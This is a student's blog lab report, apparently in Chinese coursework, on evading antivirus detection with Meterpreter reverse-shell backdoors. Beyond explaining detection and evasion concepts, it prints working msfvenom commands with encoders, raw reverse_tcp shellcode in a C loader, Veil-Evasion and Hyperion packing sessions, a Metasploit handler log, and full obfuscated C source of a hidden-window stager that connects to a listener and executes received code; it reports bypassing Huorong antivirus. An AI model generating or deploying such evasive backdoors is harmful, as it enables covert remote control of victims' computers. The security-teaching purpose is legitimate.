Exp3 免杀原理与实践

又是一年清明节,在此向因新冠肺炎不幸离世的人们表示哀悼,向全世界奋战在抗疫一线的逆行者们致敬,人类因为你们而延续!
让我们携起手来,战胜疫情!

写在前面

为了方便记忆,我把所有的后门程序通过nc传过来之后依序命了名,看着一排后门软件挺让人放心的(?)

可我现在只能凭着顺序猜各自的来源了,截图也只剩下各种火绒记录。

下图为后门程序排排坐吃火锅:)

实验总结与体会

实践总结

本次实验中,我们简单实践了各类恶意代码操作,使用了msf编码器、veil等工具,制作了各种攻击类型、各种代码形式的后门程序,大部分的程序都不具有实际攻击性,实验的各项内容也只包含了一部分免杀原理的实践。

实验一共耗时两天,各部分全部完成。实验过程中出现了veil的安装、hyperion的使用、免杀不成功等问题,通过查阅资料得到了基本解决。

实验内容的水平和深度都不高,实际的恶意代码攻击还需要更高的底层代码编写水平和更深的操作系统知识的掌握。

实验体会

本次实验的主题为免杀原理与实践,在上一次的实验中我们已经实践了一些后门操作,联想到大二信息安全概论课程实践的灰鸽子程序,有很多体会。上一次的实验将后门程序作为一种工具,主要学习的是将后门程序或者是代码进行注入的过程,这一次的实验则更加专注于实现后门程序功能的恶意代码。

本次实验也提高了我对于后门植入程序的认识,我以往认为只要不轻易运行奇奇怪怪的exe文件就可以进行防范,但这一次的实践让我认识到我电脑上的Mcfee、Windows defender、火绒,在精心制作的网络攻击面前就像是马奇诺防线

最简单的jar包即可绕过火绒的文件查杀,实在让我感到惊讶。我深刻地意识到:

网络攻击是灵活主动的,病毒防护是被动僵化的。在信息安全相关法律法规逐步健全的时代背景下,网络攻击的威胁仍应得到人们的充分重视。

我常常在网络上查找各类资料,有时候能够找到许多有意思的网站,这些网站往往有着上个世纪的版式设计,却有着与时俱进的知识体系。这是互联网时代带来的知识传播的便利。我常常在这些网站上下载资料,有压缩包、有程序包,我现在回想起我曾经无数次随意地打开下载的小微程序,这些瞬间却让人不禁有些害怕。

斯诺登在其自传《永久记录》中深情地回忆了他所怀念的自由的互联网时代,可那个时代已经一去不复返了,如今的网络空间宛若漫无边际的森林,有着磅礴生长的参天大树,有着漫天飘散的知识的花瓣,却也有着无名的地刺,有着某只遥望着你的,深邃的眼睛。

与怪物战斗的人,应当小心自己不要成为怪物。当你远远凝视深渊时,深渊也在凝视你。
弗里德里希·威廉·尼采的《善恶的彼岸》

基础问题回答

杀软是如何检测出恶意代码的?

杀软可以通过特征和行为来检测恶意代码,这样的检测方式让我联想到了入侵检测系统(Intrusion Detection System,IDS)的相关理论,这里做一个对比:

入侵检测的分析方式主要分为两种:

误用检测(Misuse Detection)——基于知识的检测
这种检测方法是收集非正常操作(入侵)行为的特征,建立误用模式特征库;在后续的检测过程中,将收集到的数据与特征库中的特征代码进行比较,得出是否有入侵行为。
特点:
如果入侵特征与正常的用户行为匹配,则系统会发生误报;
如果没有特征能与某种新的攻击行为匹配,则系统会发生漏报;
攻击特征的细微变化,会使得误用检测无能为力。

异常检测(Anomaly Detection) ——基于行为的检测
这种检测方法是首先总结正常操作应该具有的特征;在得出正常操作的模型之后,对后续的操作进行监视,一旦发现偏离正常统计学意义上的操作模式,即进行报警。
特点:
异常检测系统的效率取决于用户轮廓的完备性和监控的频率
因为不需要对每种入侵行为进行定义,因此能有效检测未知的入侵
系统能针对用户行为的改变进行自我调整和优化,但随着检测模型的逐步精确,异常检测会消耗更多的系统资源

分析来看 ,杀软检测恶意代码的方式与IDS的思想是一致的,杀软根据特征码进行检测,即误用检测的方法,根据代码行为进行分析,即异常检测。

免杀是做什么?

顾名思义,免杀就是通过重复编译、加壳等方法使恶意代码免除计算机杀毒软件的检查和查杀。

免杀的基本方法有哪些?

这里参考博客:https://www.cnblogs.com/hxwzwiy/archive/2012/05/12/2496839.html

主要有以下几种免杀的基本方法:

  1. 变化入口地址
  2. 加花指令
  3. 加壳或加伪装壳
  4. 打乱壳的头文件或壳中加花
  5. 修改文件特征码
    直接修改特征码的十六进制法
    修改字符串大小写法
    等价替换法
    指令顺序调换法
    通用跳转法
  6. 内存免杀
  7. 输入表免杀
  8. 修改字符

拓展问题

开启杀软能绝对防止电脑中恶意代码吗?

不能,杀软是被动的,恶意代码的变换是主动的,只有养成良好的上网习惯,不轻易点击、下载各类文件方能有效避免各类攻击。

解决的问题

Hyperion.exe位置的查询

在阅读其他同学的博客时,有一篇博客提到了使用locate查找刚下载的Hyperion.exe位置的方法。一开始我还有点疑惑,为什么不用whereis来进行查询,后来我发现whereis确实查不到:

当whereis显示为空时,即查询不到

根据博客(https://blog.csdn.net/u012161134/article/details/68484117),该作者提到:

whereis命令不是通过查找磁盘上的所有文件来实现定位的,你可以随便指定一个可执行文件,估计whereis会找不到,这是因为whereis是根据环境变量PATH来查找文件的,而PATH通常设置成存放命令的那些路径,如 /bin、/usr/bin等,因此whereis的用途仅限于定位shell命令所在的位置。

后来使用locate,我也找到了hyperion的位置。

上述博文的作者还有一个提醒:

注意:如果locate找不到某个文件,而你又确信该文件肯定存在,那一定是updatedb生成的信息库已经过时了。此时你要做的就是以root身份登 录,然后执行updatedb命令,重新建立整个系统所有文件和目录的资料库,虽然这个过程可能会浪费一点时间,但以后再查找文件时就方便多了。

veil安装出现内存不足的问题

前期安装veli重复出现下图的错误

根据博客(https://www.jianshu.com/p/227c7df60774)尝试解决python运行版本的问题,一顿操作猛如虎之后成功安装了wine和python。

但是veil依旧报错,显示内存不足,一开始我挺疑惑的,20G还不够装?

我查了一下磁盘属性,磁盘确实满了

我使用了apt-clean命令进行了清理,重复安装veil之后就成功了


安装veil成功的界面:

未解决的问题:

消失的虚拟机

听说veil的安装比较麻烦,前几日没有集中的时间做实验,我就提前尝试在虚拟机上安装veil。安装的过程在此就不赘述了,比较奇怪的地方是我前一晚安装veil没成功(因为磁盘满了),就关机睡觉了。

第二天起来这个虚拟机就不能正常运行了,启动过后卡在一个只有光标闪动的界面,之后再打开VMware就只剩下我之前克隆作靶机的另一个虚拟机,后续实验也在这位“Debian 9.x 64位的某位盆友”上完成。

我回想了一下,在前一个虚拟机上我应该是对系统进行了更新,实验完成以后根据之前存储虚拟机的位置,找到了原先的“Debian 9.x 64位”,还是卡在初始界面,我尝试了https://blog.csdn.net/l1028386804/article/details/83340779的方法,目前还没有成功。

实践过程记录

正确使用msf编码器

一次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.124.116 LPORT=4306 -f exe > met-encoded.exe

-e选择编码器,-b是payload中需要清除的字符

火绒查杀结果:

十次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.124.116 LPORT=4306 -f exe >met-encoded10.exe

使用-i设置迭代次数

火绒查杀结果:

msfvenom生成如jar之类的其他文件

jar包

cyh20174306@kali:~$ msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.1 LPORT=4306 x > 20174306-backdoor.jar
Payload size: 5309 bytes

火绒查杀结果:

提交结果:

这个jar包之前有过提交:

php包

cyh20174306@kali:~$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.1 LPORT=4306 x> 20174306-attackdoor.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

php的火绒查杀结果

veil的安装使用

veil的安装比较繁琐,这里我参考了同学们的博客,主要是:https://www.cnblogs.com/sunxiaoxuan/p/10600515.html#2.1.2

比较重要的准备工作

遇到的问题有python的安装和内存不足的问题,已在前文叙述。

正确安装时会出现wine、python以及ruby的安装

本人的veil命令行记录(有删减),最终生成了20174306-veil-1.exe

cyh20174306@kali:~$ veil
...

Veil>: use Evasion 
...
Veil/Evasion>: use c/meterpreter/rev_tcp.py
...

 Payload Information:

	Name:		Pure C Reverse TCP Stager
	Language:	c
	Rating:		Excellent
	Description:    pure windows/meterpreter/reverse_tcp stager, no
	                shellcode

Payload: c/meterpreter/rev_tcp selected

 Required Options:

Name            	Value   	Description

----            	-----   	-----------

COMPILE_TO_EXE  	Y       	Compile to an executable
LHOST           	        	IP of the Metasploit handler
LPORT           	4444    	Port of the Metasploit handler

 Available Commands:

	back        	Go back to Veil-Evasion
	exit        	Completely exit Veil
	generate    	Generate the payload
	options     	Show the shellcode's options
	set         	Set shellcode option

[c/meterpreter/rev_tcp>>]: set LHOST 192.168.124.116
[c/meterpreter/rev_tcp>>]: set LPORT 4306
[c/meterpreter/rev_tcp>>]: options

Payload: c/meterpreter/rev_tcp selected

 Required Options:

Name            	Value   	Description

----            	-----   	-----------

COMPILE_TO_EXE  	Y       	Compile to an executable
LHOST           	192.168.124.116	IP of the Metasploit handler
LPORT           	4306    	Port of the Metasploit handler

 Available Commands:

	back        	Go back to Veil-Evasion
	exit        	Completely exit Veil
	generate    	Generate the payload
	options     	Show the shellcode's options
	set         	Set shellcode option

[c/meterpreter/rev_tcp>>]: generate
...
 [>] Please enter the base name for output files (default is payload): 20174306-veil-1
...

 [*] Language: c
 [*] Payload Module: c/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/20174306-veil-1.exe
 [*] Source code written to: /var/lib/veil/output/source/20174306-veil-1.c
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/20174306-veil-1.rc

...
### 

加壳工具

在shellcode编程部分使用了加壳工具,这里只介绍两种加壳工具的用法

upx

upx <源文件名> -o <生成文件名>

Hyperion

使用时出现报错:

Could not open /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Could not write include file /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc

就解决办法:使用root账户

完整命令行:

cyh20174306@kali:/usr/share/windows-resources/hyperion$ su root
密码:
root@kali:/usr/share/windows-resources/hyperion# wine hyperion.exe -v shellcode20174306exp3.exe shellcode-by-hyperion.exe

-------------------------------

| Stage 1: Analyzing input file |
 -------------------------------

Opening shellcode20174306exp3.exe
Successfully copied file to memory location: 0x2310b0
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found 32 bit binary
Image base is 0x400000
Image size is 0x4b000

-------------------------------

| Stage 2: Generating ASM files |
 -------------------------------

Input file size + Checksum: 0x4642f
Rounded up to a multiple of key size: 0x46430
INFILE_SIZE equ 0x46430
 written to /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Generated checksum: 0x10bf929
Generated Encryption Key:  0x1 0x3 0x0 0x1 0x2 0x1
 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as FASM array to:
 /usr/share/windows-resources/hyperion/Src/Container/32/infile_array.inc
IMAGE_BASE equ 0x400000
 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_base.inc
IMAGE_SIZE equ 0x4b000
 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_size.inc
REAL_KEY_SIZE equ 0x6
 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
REAL_KEY_RANGE equ 0x4
 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
include 'logfile_disable.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/logfile_select.asm
include '../../Payloads/Aes/32/aes.inc'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/aes.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/decryptexecutable.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm

--------------------------------

| Stage 3: Generating Executable |
 --------------------------------

Starting FASM with the following parameters:
Commandline: /usr/share/windows-resources/hyperion/Fasm/FASM.EXE /usr/share/windows-resources/hyperion/Src/Container/32/main.asm shellcode-by-hyperion.exe
FASM Working Directory: Z:\usr\share\windows-resources\hyperion
flat assembler  version 1.71.54  (1270018 kilobytes memory)
7 passes, 0.3 seconds, 304128 bytes.

Done :-)

使用C + shellcode编程

思路:

使用msfvenom 生成shellcode-制作C语言代码段-GCC编译为.exe-upx加壳(检测)-upx+Hyperion加壳(检测)

这里我的截图截漏了,手上只剩下各个检测结果,在kali端我的命名是完整的。

生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.116 LPORT=4306 -f c

shellcode内容:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7c\x74"
"\x68\x02\x00\x10\xd2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}

gcc编译:

i686-w64-mingw32-g++ <c文件> -o <输出文件>

shellcode转exe

exe+upx

Hyperion单加壳

upx+Hyperion双加壳

使用其他课堂未介绍方法

启动veil,输入use 1选择veil-evasion,输入list查看清单,这里我选择了c/meterpreter/rev_rcp

有一篇博客对于Veil-Evasion生成的攻击载荷c/meterpreter/recv_tcp的被控端代码设置信息进行了分析:

https://blog.csdn.net/wyf12138/article/details/79954058

作者发现其中部分字符串的操作是多余的(免杀需要),给了出精简版源码,我也找到了c/meterpreter/recv_tcp的C语言文件,完整编码我放在文章末尾

直接检测情况

尝试建立反向连接成功

payload生成命令行记录

 Required Options:

Name            	Value   	Description

----            	-----   	-----------

COMPILE_TO_EXE  	Y       	Compile to an executable
LHOST           	192.168.124.116	IP of the Metasploit handler
LPORT           	4306    	Port of the Metasploit handler

 Available Commands:

	back        	Go back to Veil-Evasion
	exit        	Completely exit Veil
	generate    	Generate the payload
	options     	Show the shellcode's options
	set         	Set shellcode option

[c/meterpreter/rev_tcp>>]: generate

===============================================================================

                                   Veil-Evasion
===============================================================================

      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

===============================================================================

 [>] Please enter the base name for output files (default is payload): rev_tcp_backdoor
===============================================================================

                                   Veil-Evasion

===============================================================================

      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: c
 [*] Payload Module: c/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/rev_tcp_backdoor.exe
 [*] Source code written to: /var/lib/veil/output/source/rev_tcp_backdoor.c
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/rev_tcp_backdoor.rc

Hit enter to continue...

通过组合应用各种技术实现恶意代码免杀

尝试免杀我一共用了三次,前述shellcode部分的双加壳、Veil-Evasion编号13的cs/shellcode_inject/virtual.py、编号31的python/shellcode_inject/base64_substitution.py

编号13的payload经过Hyperion加壳后火绒免杀,此处仅保留免杀截图

我尝试了对上一个部分的shellcode进行upx和hyperion的双加壳,还是被发现了,看其他同学能被360免杀的一些后门都被火绒杀出来了。

Hyperion单加壳

upx+Hyperion双加壳

后续我还尝试了Veil-Evasion的其他载荷生成后门,比如编号31的情况

31)	python/shellcode_inject/base64_substitution.py

但两个文件都没过免杀,这里略去

在13没有做出来之前,我一度有装回360全家桶的冲动

鉴于之前电脑被360全家桶无情摧残的历史,我还是放弃了这个想法。

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

使用的载荷是上一部分提到的cs/shellcode_inject/virtual.py

杀软:火绒,5.0.41.8

成功实现反向链接的截屏(有裁剪)

命令行记录可以直接显示相关信息(有删减):

cyh20174306@kali:/var/lib/veil/output/handlers$ msfconsole -r no-13.rc 
[-] ***rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***

...

       =[ metasploit v5.0.2-dev                           ]

+ -- --=[ 1852 exploits - 1046 auxiliary - 325 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]

[*] Processing no-13.rc for ERB directives.
resource (no-13.rc)> use exploit/multi/handler
resource (no-13.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (no-13.rc)> set LHOST 192.168.124.116
LHOST => 192.168.124.116
resource (no-13.rc)> set LPORT 4306
LPORT => 4306
resource (no-13.rc)> set ExitOnSession false
ExitOnSession => false
resource (no-13.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 192.168.124.116:4306:-  -
[*] Started reverse TCP handler on 0.0.0.0:4306 
msf5 exploit(multi/handler) > exploit 

...

附录:c/meterpreter/recv_tcp受控端源码

#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <assert.h>
#include <math.h>
#include <stdarg.h>
#include <windows.h>
#include <signal.h>
#include <time.h>
#include <stdlib.h>
#include <limits.h>
char* ZfcCdwCmcT(const char *t)
{
    int length= strlen(t);
    int i;
    char* t2 = (char*)malloc((length+1) * sizeof(char));
    for(i=0; i<length; i++)
    {
        t2[(length-1)-i]=t[i];
    }
    t2[length] = '\0';
    return t2;
}
char* qjBStcuPqMfU(char* s)
{
    char *result =  malloc(strlen(s)*2+1);
    int i;
    for (i=0; i<strlen(s)*2+1; i++)
    {
        result[i] = s[i/2];
        result[i+1]=s[i/2];
    }
    result[i] = '\0';
    return result;
}
void LKrLBI()
{
    WORD algcyqEqt = MAKEWORD((0*3+2), (2*1+0));
    WSADATA rNiDKqkqnt;
    if (WSAStartup(algcyqEqt, &rNiDKqkqnt) < 0)
    {
        WSACleanup();
        exit(1);
    }
}
char* nPFoczEKDIu()
{
    char cRFrVmVpN[7133], ShWRhbigNMl[7133/2];
    strcpy(cRFrVmVpN,"VlvBusrGrZAMmWbXGYMnmCLfgkkdAFcMvdVXDpKxinJRRCzbmg");
    strcpy(ShWRhbigNMl,"aQIbDcvygiMFkPoCYfJyKiINLoDktxNzGQDxfhKjrHVoaUjYlw");
    return qjBStcuPqMfU(strcat( cRFrVmVpN, ShWRhbigNMl));
}
void dQYmGplRhuUmymN(SOCKET vloxfBtrRWPY)
{
    closesocket(vloxfBtrRWPY);
    WSACleanup();
    exit(1);
}
char* ZvmpXvMlsWbEU()
{
    char *DfyjnFmAyqfg = ZfcCdwCmcT("VmjFMcxqjDGPhdIVcJHSzvBNfSoIdCcWNhfhfgNQceMIqhMHLr");
    return strstr( DfyjnFmAyqfg, "S" );
}
int RmFlKCRRYqXIrT(SOCKET xQtyEEifSdKtCwm, void * hvsFHs, int ZcwRfuxUWNRc)
{
    int slfkmklsDSA=0;
    int rcAmwSVM=0;
    void * startb = hvsFHs;
    while (rcAmwSVM < ZcwRfuxUWNRc)
    {
        slfkmklsDSA = recv(xQtyEEifSdKtCwm, (char *)startb, ZcwRfuxUWNRc - rcAmwSVM, 0);
        startb += slfkmklsDSA;
        rcAmwSVM   += slfkmklsDSA;
        if (slfkmklsDSA == SOCKET_ERROR) dQYmGplRhuUmymN(xQtyEEifSdKtCwm);
    }
    return rcAmwSVM;
}
char* gVJVTdp()
{
    char YqWeSYRGfjce[7133] = "MGMCWXiXKctlxgklbeOmqCiZxNWrNcPBdXVGszLNTiATtmIazL";
    char *wKuuNOZi = strupr(YqWeSYRGfjce);
    return strlwr(wKuuNOZi);
}
SOCKET ODiorrcVUdhFRv()
{
    struct hostent * HScIWsoS;
    struct sockaddr_in DtfrsMLSbnrcjx;
    SOCKET FxeuiQwzkFJSdT;
    FxeuiQwzkFJSdT = socket(AF_INET, SOCK_STREAM, 0);
    if (FxeuiQwzkFJSdT == INVALID_SOCKET) dQYmGplRhuUmymN(FxeuiQwzkFJSdT);
    HScIWsoS = gethostbyname("192.168.124.116");
    if (HScIWsoS == NULL) dQYmGplRhuUmymN(FxeuiQwzkFJSdT);
    memcpy(&DtfrsMLSbnrcjx.sin_addr.s_addr, HScIWsoS->h_addr, HScIWsoS->h_length);
    DtfrsMLSbnrcjx.sin_family = AF_INET;
    DtfrsMLSbnrcjx.sin_port = htons((430*10+6));
    if ( connect(FxeuiQwzkFJSdT, (struct sockaddr *)&DtfrsMLSbnrcjx, sizeof(DtfrsMLSbnrcjx)) ) dQYmGplRhuUmymN(FxeuiQwzkFJSdT);
    return FxeuiQwzkFJSdT;
}
int main(int argc, char * argv[])
{
    ShowWindow( GetConsoleWindow(), SW_HIDE );
    ULONG32 wtyuZciVu;
    char * yTCOtgWlpDcBsZE;
    int i;
    char* HqwUYW[4154];
    void (*nFrzhM)();
    for (i = 0;  i < 4154;  ++i) HqwUYW[i] = malloc (8167);
    LKrLBI();
    char* fcwiQiLqoW[7945];
    SOCKET wextNhxvCvnLIX = ODiorrcVUdhFRv();
    for (i = 0;  i < 7945;  ++i) fcwiQiLqoW[i] = malloc (8451);
    int nfcJpeqAl = recv(wextNhxvCvnLIX, (char *)&wtyuZciVu, (4*1+0), 0);
    if (nfcJpeqAl != (4*1+0) || wtyuZciVu <= 0) dQYmGplRhuUmymN(wextNhxvCvnLIX);
    yTCOtgWlpDcBsZE = VirtualAlloc(0, wtyuZciVu + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    char* BtTCGasrMNFEXUz[2852];
    for (i=0; i<4154; ++i)
    {
        strcpy(HqwUYW[i], nPFoczEKDIu());
    }
    if (yTCOtgWlpDcBsZE == NULL) dQYmGplRhuUmymN(wextNhxvCvnLIX);
    yTCOtgWlpDcBsZE[0] = 0xBF;
    memcpy(yTCOtgWlpDcBsZE + 1, &wextNhxvCvnLIX, (2*2+0));
    for (i = 0;  i < 2852;  ++i) BtTCGasrMNFEXUz[i] = malloc (8970);
    for (i=0; i<7945; ++i)
    {
        strcpy(fcwiQiLqoW[i], ZvmpXvMlsWbEU());
    }
    nfcJpeqAl = RmFlKCRRYqXIrT(wextNhxvCvnLIX, yTCOtgWlpDcBsZE + (5*1+0), wtyuZciVu);
    nFrzhM = (void (*)())yTCOtgWlpDcBsZE;
    nFrzhM();
    for (i=0; i<2852; ++i)
    {
        strcpy(BtTCGasrMNFEXUz[i], gVJVTdp());
    }
    return 0;
}
posted @ 2020-04-04 00:40  PeterDon  阅读(138)  评论(0编辑  收藏